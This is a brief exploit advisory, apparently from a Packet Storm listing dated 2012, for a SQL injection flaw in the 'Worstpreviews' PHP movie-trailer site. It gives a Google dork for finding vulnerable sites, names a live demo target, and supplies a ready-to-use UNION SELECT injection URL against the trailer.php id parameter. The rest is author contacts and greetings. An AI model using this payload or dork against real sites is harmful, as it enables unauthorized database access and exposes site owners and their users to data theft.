Worstpreviews SQL Injection

########################################################

~ Exploit Title: * Worstpreviews  SQL Injection *~ 

~ Author: Th4 MasK 

~ Contact to ; th4_mask@windowslive.com ~

~ Software Website: http://www.worstpreviews.com/

~ Date : 13.02.2012 ~ 

~ Vendor : http://hiregroundsoftware.com/

~ Platform : Php ~

~ Dork : trailer.php?id=

########################################################


~ Demo Site :

~ http://www.worstpreviews.com/trailer.php?id=490[SQL]&item=0

Exploit : 

http://www.worstpreviews.com/trailer.php?id=490+AND+1=2+UNION+SELECT+1,2--

########################################################

~* Bilinmezlik DiyarinDan

########################################################

~* Olmassa Olmazimdir. Bazi seyler.

########################################################

~ Greetz: http://th4mask.blogspot.com ~ 
 

########################################################

~ ZoRRoKiN,Mugair,Nikolay,Darkness Devil,Tekfurdagli,Evillord
 
######################################################## 
~ Contact to ; th4_mask@windowslive.com ~

http://packetstormsecurity.org/files/109736/Worstpreviews-SQL-Injection.html